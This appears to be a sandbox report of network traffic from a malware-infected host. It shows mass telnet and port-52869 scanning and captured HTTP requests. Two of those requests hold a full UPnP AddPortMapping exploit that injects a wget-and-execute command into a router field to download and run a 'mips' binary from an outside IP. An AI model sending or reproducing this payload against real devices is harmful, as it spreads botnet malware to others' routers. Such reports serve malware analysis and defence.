Dec 4, 2024 20:34:39.311145067 CET	34674	52869	192.168.2.14	197.22.77.21
Dec 4, 2024 20:34:39.311516047 CET	35188	52869	192.168.2.14	197.22.77.21
Dec 4, 2024 20:34:39.311907053 CET	38024	52869	192.168.2.14	197.203.229.170
Dec 4, 2024 20:34:39.311907053 CET	38024	52869	192.168.2.14	197.203.229.170
Dec 4, 2024 20:34:39.312206984 CET	38538	52869	192.168.2.14	197.203.229.170
Dec 4, 2024 20:34:39.312608004 CET	58166	52869	192.168.2.14	156.215.44.171
Dec 4, 2024 20:34:39.312608004 CET	58166	52869	192.168.2.14	156.215.44.171
Dec 4, 2024 20:34:39.312906981 CET	58680	52869	192.168.2.14	156.215.44.171
Dec 4, 2024 20:34:39.318186998 CET	60714	52869	192.168.2.14	156.124.74.167
Dec 4, 2024 20:34:39.318196058 CET	48034	52869	192.168.2.14	41.147.170.43
Dec 4, 2024 20:34:39.318202972 CET	34762	52869	192.168.2.14	156.57.20.17
Dec 4, 2024 20:34:39.318202972 CET	49906	52869	192.168.2.14	156.118.174.148
Dec 4, 2024 20:34:39.318205118 CET	36188	52869	192.168.2.14	41.82.237.63
Dec 4, 2024 20:34:39.318209887 CET	48622	52869	192.168.2.14	156.162.177.200
Dec 4, 2024 20:34:39.318211079 CET	44072	52869	192.168.2.14	197.70.137.31
Dec 4, 2024 20:34:39.318212986 CET	42422	52869	192.168.2.14	156.73.107.240
Dec 4, 2024 20:34:39.318217039 CET	37986	52869	192.168.2.14	197.41.221.45
Dec 4, 2024 20:34:39.318217993 CET	35368	52869	192.168.2.14	41.236.129.106
Dec 4, 2024 20:34:39.318217993 CET	36442	52869	192.168.2.14	197.64.212.1
Dec 4, 2024 20:34:39.318217993 CET	56634	52869	192.168.2.14	197.161.3.245
Dec 4, 2024 20:34:39.318232059 CET	60778	52869	192.168.2.14	197.188.115.154
Dec 4, 2024 20:34:39.318233967 CET	39970	52869	192.168.2.14	156.244.247.160
Dec 4, 2024 20:34:39.318238020 CET	41648	52869	192.168.2.14	197.77.98.52
Dec 4, 2024 20:34:39.318239927 CET	52850	52869	192.168.2.14	197.225.33.176
Dec 4, 2024 20:34:39.318239927 CET	34912	52869	192.168.2.14	197.182.194.233
Dec 4, 2024 20:34:39.323156118 CET	2323	36994	145.108.93.61	192.168.2.14
Dec 4, 2024 20:34:39.323232889 CET	36994	2323	192.168.2.14	145.108.93.61
Dec 4, 2024 20:34:39.323637009 CET	23	34172	121.31.44.183	192.168.2.14
Dec 4, 2024 20:34:39.323751926 CET	37254	2323	192.168.2.14	145.108.93.61
Dec 4, 2024 20:34:39.324178934 CET	23	39968	200.32.151.196	192.168.2.14
Dec 4, 2024 20:34:39.324242115 CET	23	40510	176.98.9.17	192.168.2.14
Dec 4, 2024 20:34:39.324311972 CET	39968	23	192.168.2.14	200.32.151.196
Dec 4, 2024 20:34:39.324640036 CET	40234	23	192.168.2.14	200.32.151.196
Dec 4, 2024 20:34:39.325022936 CET	34172	23	192.168.2.14	121.31.44.183
Dec 4, 2024 20:34:39.325397015 CET	34438	23	192.168.2.14	121.31.44.183
Dec 4, 2024 20:34:39.325881958 CET	40510	23	192.168.2.14	176.98.9.17
Dec 4, 2024 20:34:39.326212883 CET	40774	23	192.168.2.14	176.98.9.17
Dec 4, 2024 20:34:39.350195885 CET	55406	52869	192.168.2.14	41.55.148.84
Dec 4, 2024 20:34:39.350197077 CET	46732	52869	192.168.2.14	156.190.129.63
Dec 4, 2024 20:34:39.350197077 CET	57048	52869	192.168.2.14	41.167.211.142
Dec 4, 2024 20:34:39.350209951 CET	42424	52869	192.168.2.14	197.38.109.107
Dec 4, 2024 20:34:39.350215912 CET	39048	52869	192.168.2.14	156.110.11.142
Dec 4, 2024 20:34:39.350220919 CET	51550	52869	192.168.2.14	156.6.64.219
Dec 4, 2024 20:34:39.350223064 CET	34866	52869	192.168.2.14	197.252.2.42
Dec 4, 2024 20:34:39.350223064 CET	47712	52869	192.168.2.14	156.151.97.199
Dec 4, 2024 20:34:39.350892067 CET	23	53124	35.216.117.155	192.168.2.14
Dec 4, 2024 20:34:39.350996017 CET	53124	23	192.168.2.14	35.216.117.155
Dec 4, 2024 20:34:39.351069927 CET	23	53680	121.150.156.158	192.168.2.14
Dec 4, 2024 20:34:39.351349115 CET	53328	23	192.168.2.14	35.216.117.155
Dec 4, 2024 20:34:39.351391077 CET	37215	54182	197.159.102.8	192.168.2.14
Dec 4, 2024 20:34:39.351516962 CET	37215	54202	197.159.102.8	192.168.2.14
Dec 4, 2024 20:34:39.351556063 CET	54202	37215	192.168.2.14	197.159.102.8
Dec 4, 2024 20:34:39.351577044 CET	54202	37215	192.168.2.14	197.159.102.8
Dec 4, 2024 20:34:39.351622105 CET	23	60462	77.99.46.89	192.168.2.14
Dec 4, 2024 20:34:39.351746082 CET	37215	58026	41.36.130.108	192.168.2.14
Dec 4, 2024 20:34:39.351799965 CET	53680	23	192.168.2.14	121.150.156.158
Dec 4, 2024 20:34:39.352041006 CET	37215	58046	41.36.130.108	192.168.2.14
Dec 4, 2024 20:34:39.352087021 CET	58046	37215	192.168.2.14	41.36.130.108
Dec 4, 2024 20:34:39.352097034 CET	53894	23	192.168.2.14	121.150.156.158
Dec 4, 2024 20:34:39.352104902 CET	58046	37215	192.168.2.14	41.36.130.108
Dec 4, 2024 20:34:39.352330923 CET	37215	54182	197.159.102.8	192.168.2.14
Dec 4, 2024 20:34:39.352468967 CET	37215	58026	41.36.130.108	192.168.2.14
Dec 4, 2024 20:34:39.352489948 CET	60462	23	192.168.2.14	77.99.46.89
Dec 4, 2024 20:34:39.352793932 CET	60672	23	192.168.2.14	77.99.46.89
Dec 4, 2024 20:34:39.355051994 CET	23	54254	157.198.4.85	192.168.2.14
Dec 4, 2024 20:34:39.355339050 CET	23	54290	157.198.4.85	192.168.2.14
Dec 4, 2024 20:34:39.355381966 CET	54290	23	192.168.2.14	157.198.4.85
Dec 4, 2024 20:34:39.356029987 CET	2323	53738	67.97.243.94	192.168.2.14
Dec 4, 2024 20:34:39.356322050 CET	2323	53774	67.97.243.94	192.168.2.14
Dec 4, 2024 20:34:39.356368065 CET	53774	2323	192.168.2.14	67.97.243.94
Dec 4, 2024 20:34:39.357213020 CET	23	58142	119.253.76.176	192.168.2.14
Dec 4, 2024 20:34:39.357695103 CET	23	58178	119.253.76.176	192.168.2.14
Dec 4, 2024 20:34:39.357739925 CET	58178	23	192.168.2.14	119.253.76.176
Dec 4, 2024 20:34:39.414210081 CET	33342	23	192.168.2.14	19.29.83.143
Dec 4, 2024 20:34:39.414211988 CET	34132	23	192.168.2.14	170.27.80.233
Dec 4, 2024 20:34:39.414218903 CET	43308	2323	192.168.2.14	110.249.17.90
Dec 4, 2024 20:34:39.414218903 CET	46156	23	192.168.2.14	35.73.23.33
Dec 4, 2024 20:34:39.430799961 CET	52869	60019	197.206.102.161	192.168.2.14
Dec 4, 2024 20:34:39.430834055 CET	52869	60019	156.11.147.169	192.168.2.14
Dec 4, 2024 20:34:39.430844069 CET	52869	60019	197.17.237.95	192.168.2.14
Dec 4, 2024 20:34:39.430851936 CET	52869	60019	41.136.57.148	192.168.2.14
Dec 4, 2024 20:34:39.430851936 CET	60019	52869	192.168.2.14	197.206.102.161
Dec 4, 2024 20:34:39.430867910 CET	52869	60019	197.124.112.162	192.168.2.14
Dec 4, 2024 20:34:39.430917025 CET	52869	60019	41.199.104.5	192.168.2.14
Dec 4, 2024 20:34:39.430943012 CET	52869	60019	197.225.187.90	192.168.2.14
Dec 4, 2024 20:34:39.430969000 CET	52869	60019	41.75.70.93	192.168.2.14
Dec 4, 2024 20:34:39.430973053 CET	52869	60019	156.38.80.18	192.168.2.14
Dec 4, 2024 20:34:39.431003094 CET	52869	60019	197.235.195.195	192.168.2.14
Dec 4, 2024 20:34:39.431020021 CET	60019	52869	192.168.2.14	197.17.237.95
Dec 4, 2024 20:34:39.431020021 CET	60019	52869	192.168.2.14	41.136.57.148
Dec 4, 2024 20:34:39.431020021 CET	60019	52869	192.168.2.14	197.225.187.90
Dec 4, 2024 20:34:39.431022882 CET	60019	52869	192.168.2.14	156.11.147.169
Dec 4, 2024 20:34:39.431022882 CET	60019	52869	192.168.2.14	41.199.104.5
Dec 4, 2024 20:34:39.431022882 CET	60019	52869	192.168.2.14	41.75.70.93
Dec 4, 2024 20:34:39.431030035 CET	60019	52869	192.168.2.14	197.124.112.162
Dec 4, 2024 20:34:39.431030989 CET	60019	52869	192.168.2.14	156.38.80.18
Dec 4, 2024 20:34:39.431041002 CET	60019	52869	192.168.2.14	197.235.195.195
Dec 4, 2024 20:34:39.431096077 CET	52869	38024	197.203.229.170	192.168.2.14
Dec 4, 2024 20:34:39.431118011 CET	52869	34674	197.22.77.21	192.168.2.14
Dec 4, 2024 20:34:39.431132078 CET	38024	52869	192.168.2.14	197.203.229.170
Dec 4, 2024 20:34:39.431160927 CET	34674	52869	192.168.2.14	197.22.77.21
Dec 4, 2024 20:34:39.431246996 CET	52869	58166	156.215.44.171	192.168.2.14
Dec 4, 2024 20:34:39.431256056 CET	52869	34674	197.22.77.21	192.168.2.14
Dec 4, 2024 20:34:39.431287050 CET	58166	52869	192.168.2.14	156.215.44.171
Dec 4, 2024 20:34:39.431319952 CET	52869	34674	197.22.77.21	192.168.2.14
Dec 4, 2024 20:34:39.431509972 CET	52869	35188	197.22.77.21	192.168.2.14
Dec 4, 2024 20:34:39.431552887 CET	35188	52869	192.168.2.14	197.22.77.21
Dec 4, 2024 20:34:39.431581974 CET	35188	52869	192.168.2.14	197.22.77.21
Dec 4, 2024 20:34:39.431917906 CET	52869	38024	197.203.229.170	192.168.2.14
Dec 4, 2024 20:34:39.431962013 CET	47548	52869	192.168.2.14	197.206.102.161
Dec 4, 2024 20:34:39.431997061 CET	52869	38024	197.203.229.170	192.168.2.14
Dec 4, 2024 20:34:39.432621002 CET	42750	52869	192.168.2.14	197.17.237.95
Dec 4, 2024 20:34:39.432682991 CET	52869	58166	156.215.44.171	192.168.2.14
Dec 4, 2024 20:34:39.432692051 CET	52869	58166	156.215.44.171	192.168.2.14
Dec 4, 2024 20:34:39.433260918 CET	60068	52869	192.168.2.14	156.11.147.169
Dec 4, 2024 20:34:39.433923960 CET	48316	52869	192.168.2.14	41.136.57.148
Dec 4, 2024 20:34:39.434571981 CET	55282	52869	192.168.2.14	41.199.104.5
Dec 4, 2024 20:34:39.435228109 CET	45594	52869	192.168.2.14	197.124.112.162
Dec 4, 2024 20:34:39.435869932 CET	49442	52869	192.168.2.14	41.75.70.93
Dec 4, 2024 20:34:39.436501980 CET	34214	52869	192.168.2.14	197.225.187.90
Dec 4, 2024 20:34:39.437130928 CET	51178	52869	192.168.2.14	156.38.80.18
Dec 4, 2024 20:34:39.437772036 CET	57776	52869	192.168.2.14	197.235.195.195
Dec 4, 2024 20:34:39.443025112 CET	2323	36994	145.108.93.61	192.168.2.14
Dec 4, 2024 20:34:39.443377018 CET	2323	37254	145.108.93.61	192.168.2.14
Dec 4, 2024 20:34:39.443423033 CET	37254	2323	192.168.2.14	145.108.93.61
Dec 4, 2024 20:34:39.443954945 CET	23	39968	200.32.151.196	192.168.2.14
Dec 4, 2024 20:34:39.444694042 CET	23	34172	121.31.44.183	192.168.2.14
Dec 4, 2024 20:34:39.445501089 CET	23	40510	176.98.9.17	192.168.2.14
Dec 4, 2024 20:34:39.446183920 CET	35434	52869	192.168.2.14	156.14.52.238
Dec 4, 2024 20:34:39.446187019 CET	40356	52869	192.168.2.14	197.9.154.184
Dec 4, 2024 20:34:39.446187973 CET	49592	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:39.470612049 CET	52869	55406	41.55.148.84	192.168.2.14
Dec 4, 2024 20:34:39.470621109 CET	52869	46732	156.190.129.63	192.168.2.14
Dec 4, 2024 20:34:39.470784903 CET	55406	52869	192.168.2.14	41.55.148.84
Dec 4, 2024 20:34:39.470788002 CET	46732	52869	192.168.2.14	156.190.129.63
Dec 4, 2024 20:34:39.470818043 CET	55406	52869	192.168.2.14	41.55.148.84
Dec 4, 2024 20:34:39.470833063 CET	46732	52869	192.168.2.14	156.190.129.63
Dec 4, 2024 20:34:39.471128941 CET	23	53124	35.216.117.155	192.168.2.14
Dec 4, 2024 20:34:39.471580982 CET	23	53328	35.216.117.155	192.168.2.14
Dec 4, 2024 20:34:39.471622944 CET	53328	23	192.168.2.14	35.216.117.155
Dec 4, 2024 20:34:39.472240925 CET	23	53680	121.150.156.158	192.168.2.14
Dec 4, 2024 20:34:39.473366022 CET	23	60462	77.99.46.89	192.168.2.14
Dec 4, 2024 20:34:39.474236012 CET	37215	54202	197.159.102.8	192.168.2.14
Dec 4, 2024 20:34:39.474275112 CET	54202	37215	192.168.2.14	197.159.102.8
Dec 4, 2024 20:34:39.474713087 CET	37215	58046	41.36.130.108	192.168.2.14
Dec 4, 2024 20:34:39.474761009 CET	58046	37215	192.168.2.14	41.36.130.108
Dec 4, 2024 20:34:39.476615906 CET	23	54290	157.198.4.85	192.168.2.14
Dec 4, 2024 20:34:39.476680040 CET	54290	23	192.168.2.14	157.198.4.85
Dec 4, 2024 20:34:39.477006912 CET	54336	23	192.168.2.14	157.198.4.85
Dec 4, 2024 20:34:39.477520943 CET	2323	53774	67.97.243.94	192.168.2.14
Dec 4, 2024 20:34:39.477569103 CET	53774	2323	192.168.2.14	67.97.243.94
Dec 4, 2024 20:34:39.477868080 CET	53820	2323	192.168.2.14	67.97.243.94
Dec 4, 2024 20:34:39.478183031 CET	36834	52869	192.168.2.14	197.75.6.220
Dec 4, 2024 20:34:39.478183031 CET	37458	52869	192.168.2.14	197.78.171.20
Dec 4, 2024 20:34:39.478184938 CET	38248	52869	192.168.2.14	156.144.80.131
Dec 4, 2024 20:34:39.478193045 CET	57480	52869	192.168.2.14	197.180.204.166
Dec 4, 2024 20:34:39.478864908 CET	23	58178	119.253.76.176	192.168.2.14
Dec 4, 2024 20:34:39.478925943 CET	58178	23	192.168.2.14	119.253.76.176
Dec 4, 2024 20:34:39.479224920 CET	58224	23	192.168.2.14	119.253.76.176
Dec 4, 2024 20:34:39.534849882 CET	23	34132	170.27.80.233	192.168.2.14
Dec 4, 2024 20:34:39.534868956 CET	23	33342	19.29.83.143	192.168.2.14
Dec 4, 2024 20:34:39.534883976 CET	23	46156	35.73.23.33	192.168.2.14
Dec 4, 2024 20:34:39.534893036 CET	2323	43308	110.249.17.90	192.168.2.14
Dec 4, 2024 20:34:39.534940958 CET	33342	23	192.168.2.14	19.29.83.143
Dec 4, 2024 20:34:39.534943104 CET	34132	23	192.168.2.14	170.27.80.233
Dec 4, 2024 20:34:39.534948111 CET	43308	2323	192.168.2.14	110.249.17.90
Dec 4, 2024 20:34:39.534953117 CET	46156	23	192.168.2.14	35.73.23.33
Dec 4, 2024 20:34:39.550951004 CET	52869	38024	197.203.229.170	192.168.2.14
Dec 4, 2024 20:34:39.550973892 CET	52869	34674	197.22.77.21	192.168.2.14
Dec 4, 2024 20:34:39.550982952 CET	52869	58166	156.215.44.171	192.168.2.14
Dec 4, 2024 20:34:39.551492929 CET	52869	35188	197.22.77.21	192.168.2.14
Dec 4, 2024 20:34:39.551543951 CET	35188	52869	192.168.2.14	197.22.77.21
Dec 4, 2024 20:34:39.551732063 CET	52869	47548	197.206.102.161	192.168.2.14
Dec 4, 2024 20:34:39.551773071 CET	47548	52869	192.168.2.14	197.206.102.161
Dec 4, 2024 20:34:39.551822901 CET	47548	52869	192.168.2.14	197.206.102.161
Dec 4, 2024 20:34:39.551822901 CET	47548	52869	192.168.2.14	197.206.102.161
Dec 4, 2024 20:34:39.552165031 CET	47574	52869	192.168.2.14	197.206.102.161
Dec 4, 2024 20:34:39.552248001 CET	52869	42750	197.17.237.95	192.168.2.14
Dec 4, 2024 20:34:39.552283049 CET	42750	52869	192.168.2.14	197.17.237.95
Dec 4, 2024 20:34:39.552561998 CET	42750	52869	192.168.2.14	197.17.237.95
Dec 4, 2024 20:34:39.552561998 CET	42750	52869	192.168.2.14	197.17.237.95
Dec 4, 2024 20:34:39.552843094 CET	42776	52869	192.168.2.14	197.17.237.95
Dec 4, 2024 20:34:39.553092003 CET	52869	60068	156.11.147.169	192.168.2.14
Dec 4, 2024 20:34:39.553128958 CET	60068	52869	192.168.2.14	156.11.147.169
Dec 4, 2024 20:34:39.553255081 CET	60068	52869	192.168.2.14	156.11.147.169
Dec 4, 2024 20:34:39.553255081 CET	60068	52869	192.168.2.14	156.11.147.169
Dec 4, 2024 20:34:39.553534985 CET	60094	52869	192.168.2.14	156.11.147.169
Dec 4, 2024 20:34:39.553558111 CET	52869	48316	41.136.57.148	192.168.2.14
Dec 4, 2024 20:34:39.553601027 CET	48316	52869	192.168.2.14	41.136.57.148
Dec 4, 2024 20:34:39.553915977 CET	48316	52869	192.168.2.14	41.136.57.148
Dec 4, 2024 20:34:39.553915977 CET	48316	52869	192.168.2.14	41.136.57.148
Dec 4, 2024 20:34:39.554219961 CET	48342	52869	192.168.2.14	41.136.57.148
Dec 4, 2024 20:34:39.566348076 CET	52869	35434	156.14.52.238	192.168.2.14
Dec 4, 2024 20:34:39.566394091 CET	35434	52869	192.168.2.14	156.14.52.238
Dec 4, 2024 20:34:39.566426992 CET	35434	52869	192.168.2.14	156.14.52.238
Dec 4, 2024 20:34:39.566426992 CET	35434	52869	192.168.2.14	156.14.52.238
Dec 4, 2024 20:34:39.566734076 CET	35598	52869	192.168.2.14	156.14.52.238
Dec 4, 2024 20:34:39.592277050 CET	52869	46732	156.190.129.63	192.168.2.14
Dec 4, 2024 20:34:39.592324972 CET	46732	52869	192.168.2.14	156.190.129.63
Dec 4, 2024 20:34:39.592338085 CET	52869	55406	41.55.148.84	192.168.2.14
Dec 4, 2024 20:34:39.592381001 CET	55406	52869	192.168.2.14	41.55.148.84
Dec 4, 2024 20:34:39.592544079 CET	23	53328	35.216.117.155	192.168.2.14
Dec 4, 2024 20:34:39.592618942 CET	53328	23	192.168.2.14	35.216.117.155
Dec 4, 2024 20:34:39.592926979 CET	53370	23	192.168.2.14	35.216.117.155
Dec 4, 2024 20:34:39.597748041 CET	23	54290	157.198.4.85	192.168.2.14
Dec 4, 2024 20:34:39.598037958 CET	23	54336	157.198.4.85	192.168.2.14
Dec 4, 2024 20:34:39.598086119 CET	54336	23	192.168.2.14	157.198.4.85
Dec 4, 2024 20:34:39.598671913 CET	2323	53774	67.97.243.94	192.168.2.14
Dec 4, 2024 20:34:39.598910093 CET	2323	53820	67.97.243.94	192.168.2.14
Dec 4, 2024 20:34:39.598958015 CET	53820	2323	192.168.2.14	67.97.243.94
Dec 4, 2024 20:34:39.599195957 CET	52869	36834	197.75.6.220	192.168.2.14
Dec 4, 2024 20:34:39.599241972 CET	36834	52869	192.168.2.14	197.75.6.220
Dec 4, 2024 20:34:39.599288940 CET	36834	52869	192.168.2.14	197.75.6.220
Dec 4, 2024 20:34:39.599299908 CET	36834	52869	192.168.2.14	197.75.6.220
Dec 4, 2024 20:34:39.599595070 CET	36994	52869	192.168.2.14	197.75.6.220
Dec 4, 2024 20:34:39.599926949 CET	23	58178	119.253.76.176	192.168.2.14
Dec 4, 2024 20:34:39.655230045 CET	23	33342	19.29.83.143	192.168.2.14
Dec 4, 2024 20:34:39.655323029 CET	33342	23	192.168.2.14	19.29.83.143
Dec 4, 2024 20:34:39.655497074 CET	2323	43308	110.249.17.90	192.168.2.14
Dec 4, 2024 20:34:39.655599117 CET	23	46156	35.73.23.33	192.168.2.14
Dec 4, 2024 20:34:39.655704021 CET	33536	23	192.168.2.14	19.29.83.143
Dec 4, 2024 20:34:39.656097889 CET	43308	2323	192.168.2.14	110.249.17.90
Dec 4, 2024 20:34:39.656378031 CET	43500	2323	192.168.2.14	110.249.17.90
Dec 4, 2024 20:34:39.656759977 CET	46156	23	192.168.2.14	35.73.23.33
Dec 4, 2024 20:34:39.657022953 CET	46348	23	192.168.2.14	35.73.23.33
Dec 4, 2024 20:34:39.671449900 CET	52869	47548	197.206.102.161	192.168.2.14
Dec 4, 2024 20:34:39.671654940 CET	52869	47548	197.206.102.161	192.168.2.14
Dec 4, 2024 20:34:39.671828032 CET	52869	47574	197.206.102.161	192.168.2.14
Dec 4, 2024 20:34:39.671871901 CET	47574	52869	192.168.2.14	197.206.102.161
Dec 4, 2024 20:34:39.671890020 CET	47574	52869	192.168.2.14	197.206.102.161
Dec 4, 2024 20:34:39.672108889 CET	52869	42750	197.17.237.95	192.168.2.14
Dec 4, 2024 20:34:39.672147036 CET	42750	52869	192.168.2.14	197.17.237.95
Dec 4, 2024 20:34:39.672302961 CET	52869	42750	197.17.237.95	192.168.2.14
Dec 4, 2024 20:34:39.672406912 CET	52869	42750	197.17.237.95	192.168.2.14
Dec 4, 2024 20:34:39.672518969 CET	52869	42776	197.17.237.95	192.168.2.14
Dec 4, 2024 20:34:39.672555923 CET	42776	52869	192.168.2.14	197.17.237.95
Dec 4, 2024 20:34:39.672571898 CET	42776	52869	192.168.2.14	197.17.237.95
Dec 4, 2024 20:34:39.672957897 CET	52869	60068	156.11.147.169	192.168.2.14
Dec 4, 2024 20:34:39.673121929 CET	52869	60068	156.11.147.169	192.168.2.14
Dec 4, 2024 20:34:39.673197031 CET	52869	60068	156.11.147.169	192.168.2.14
Dec 4, 2024 20:34:39.673355103 CET	52869	60094	156.11.147.169	192.168.2.14
Dec 4, 2024 20:34:39.673398018 CET	60094	52869	192.168.2.14	156.11.147.169
Dec 4, 2024 20:34:39.673408985 CET	60094	52869	192.168.2.14	156.11.147.169
Dec 4, 2024 20:34:39.673453093 CET	52869	48316	41.136.57.148	192.168.2.14
Dec 4, 2024 20:34:39.673489094 CET	48316	52869	192.168.2.14	41.136.57.148
Dec 4, 2024 20:34:39.673652887 CET	52869	48316	41.136.57.148	192.168.2.14
Dec 4, 2024 20:34:39.673713923 CET	52869	48316	41.136.57.148	192.168.2.14
Dec 4, 2024 20:34:39.673835993 CET	52869	48342	41.136.57.148	192.168.2.14
Dec 4, 2024 20:34:39.673877954 CET	48342	52869	192.168.2.14	41.136.57.148
Dec 4, 2024 20:34:39.673890114 CET	48342	52869	192.168.2.14	41.136.57.148
Dec 4, 2024 20:34:39.686222076 CET	52869	35434	156.14.52.238	192.168.2.14
Dec 4, 2024 20:34:39.688457966 CET	52869	35598	156.14.52.238	192.168.2.14
Dec 4, 2024 20:34:39.688545942 CET	35598	52869	192.168.2.14	156.14.52.238
Dec 4, 2024 20:34:39.688602924 CET	35598	52869	192.168.2.14	156.14.52.238
Dec 4, 2024 20:34:39.712987900 CET	23	53328	35.216.117.155	192.168.2.14
Dec 4, 2024 20:34:39.713233948 CET	23	53370	35.216.117.155	192.168.2.14

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 4, 2024 20:37:10.715297937 CET	192.168.2.14	1.1.1.1	0xe584	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Dec 4, 2024 20:37:10.715377092 CET	192.168.2.14	1.1.1.1	0x11c7	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false
Dec 4, 2024 20:37:15.719424009 CET	192.168.2.14	8.8.8.8	0x11c7	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 4, 2024 20:37:10.949196100 CET	1.1.1.1	192.168.2.14	0xe584	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Dec 4, 2024 20:37:10.949196100 CET	1.1.1.1	192.168.2.14	0xe584	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.14	48420	41.169.164.75	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:26.921427965 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.14	55648	41.118.64.160	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:26.923046112 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.14	43260	156.143.161.42	52869

Timestamp	Bytes transferred	Direction	Data
